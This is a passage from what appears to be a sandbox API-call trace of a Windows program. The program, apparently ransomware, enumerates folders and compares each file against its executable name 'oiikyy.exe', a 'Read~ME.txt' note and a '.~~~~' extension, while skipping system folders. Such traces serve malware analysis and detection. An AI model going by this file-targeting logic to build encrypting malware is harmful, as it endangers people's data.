	[0068.898] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.898] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.898] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.898] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.898] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.898] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.898] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.898] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.899] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.899] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.899] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.899] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.899] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.899] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.899] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.899] GetCurrentThreadId () returned 0x618
	[0068.899] RtlWakeConditionVariable () returned 0x365f48
	[0068.899] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.899] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.899] GetCurrentThreadId () returned 0x618
	[0068.899] RtlWakeConditionVariable () returned 0x365f48
	[0068.899] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0068.899] lstrcmpiW (lpString1="nl-NL", lpString2="Windows") returned -1
	[0068.899] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1
	[0068.899] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1
	[0068.899] lstrcmpW (lpString1="nl-NL", lpString2="AppData") returned 1
	[0068.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpSrch="AppData") returned 0x0
	[0068.899] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.900] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpString2="C:\\Windows") returned -1
	[0068.900] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.900] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL", lpString2="C:\\System Volume Information") returned -1
	[0068.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.900] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.900] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.900] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.900] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.900] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.900] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.900] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.900] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.900] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.900] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.901] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.901] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.901] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.901] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.901] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.901] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.901] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.901] GetCurrentThreadId () returned 0x618
	[0068.901] RtlWakeConditionVariable () returned 0x365f48
	[0068.901] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.901] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.901] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.901] GetCurrentThreadId () returned 0x618
	[0068.901] RtlWakeConditionVariable () returned 0x365f48
	[0068.901] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0068.901] lstrcmpiW (lpString1="pl-PL", lpString2="Windows") returned -1
	[0068.901] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1
	[0068.901] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1
	[0068.901] lstrcmpW (lpString1="pl-PL", lpString2="AppData") returned 1
	[0068.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpSrch="AppData") returned 0x0
	[0068.902] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.902] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpString2="C:\\Windows") returned -1
	[0068.902] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.902] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL", lpString2="C:\\System Volume Information") returned -1
	[0068.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.935] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.935] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.935] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.935] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.935] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.935] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.936] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.936] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.936] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.936] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.936] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.936] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.936] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.936] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.936] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.936] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.936] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.936] GetCurrentThreadId () returned 0x618
	[0068.936] RtlWakeConditionVariable () returned 0x365f48
	[0068.936] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.936] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.936] GetCurrentThreadId () returned 0x618
	[0068.936] RtlWakeConditionVariable () returned 0x365f48
	[0068.938] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0068.938] lstrcmpiW (lpString1="pt-BR", lpString2="Windows") returned -1
	[0068.938] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1
	[0068.938] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1
	[0068.938] lstrcmpW (lpString1="pt-BR", lpString2="AppData") returned 1
	[0068.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpSrch="AppData") returned 0x0
	[0068.938] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.938] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpString2="C:\\Windows") returned -1
	[0068.938] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.938] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR", lpString2="C:\\System Volume Information") returned -1
	[0068.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.939] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.939] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.939] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.939] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.939] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.939] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.939] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.939] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.939] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.939] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.939] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.939] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.940] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.940] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.940] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.940] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.940] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.940] GetCurrentThreadId () returned 0x618
	[0068.940] RtlWakeConditionVariable () returned 0x365f48
	[0068.940] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.940] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.940] GetCurrentThreadId () returned 0x618
	[0068.940] RtlWakeConditionVariable () returned 0x365f48
	[0068.940] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0068.940] lstrcmpiW (lpString1="pt-PT", lpString2="Windows") returned -1
	[0068.940] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1
	[0068.940] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1
	[0068.940] lstrcmpW (lpString1="pt-PT", lpString2="AppData") returned 1
	[0068.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpSrch="AppData") returned 0x0
	[0068.940] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.940] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpString2="C:\\Windows") returned -1
	[0068.941] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.941] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT", lpString2="C:\\System Volume Information") returned -1
	[0068.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.941] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.941] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0068.941] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0068.941] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0068.941] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0068.941] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0068.941] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0068.941] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0068.941] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0068.941] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0068.942] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0068.942] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0068.942] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0068.942] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0068.942] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0068.942] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0068.942] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0068.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.942] GetCurrentThreadId () returned 0x618
	[0068.943] RtlWakeConditionVariable () returned 0x365f48
	[0068.943] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0068.943] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0068.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4af0
	[0068.943] GetCurrentThreadId () returned 0x618
	[0068.943] RtlWakeConditionVariable () returned 0x365f48
	[0068.943] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0068.943] lstrcmpiW (lpString1="ro-RO", lpString2="Windows") returned -1
	[0068.943] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1
	[0068.943] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1
	[0068.943] lstrcmpW (lpString1="ro-RO", lpString2="AppData") returned 1
	[0068.943] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpSrch="AppData") returned 0x0
	[0068.943] lstrlenW (lpString="C:\\Windows") returned 10
	[0068.943] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpString2="C:\\Windows") returned -1
	[0068.943] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0068.943] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO", lpString2="C:\\System Volume Information") returned -1
	[0068.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0068.943] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0068.944] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0068.944] lstrcmpW (lpString1=".", lpString2=".") returned 0
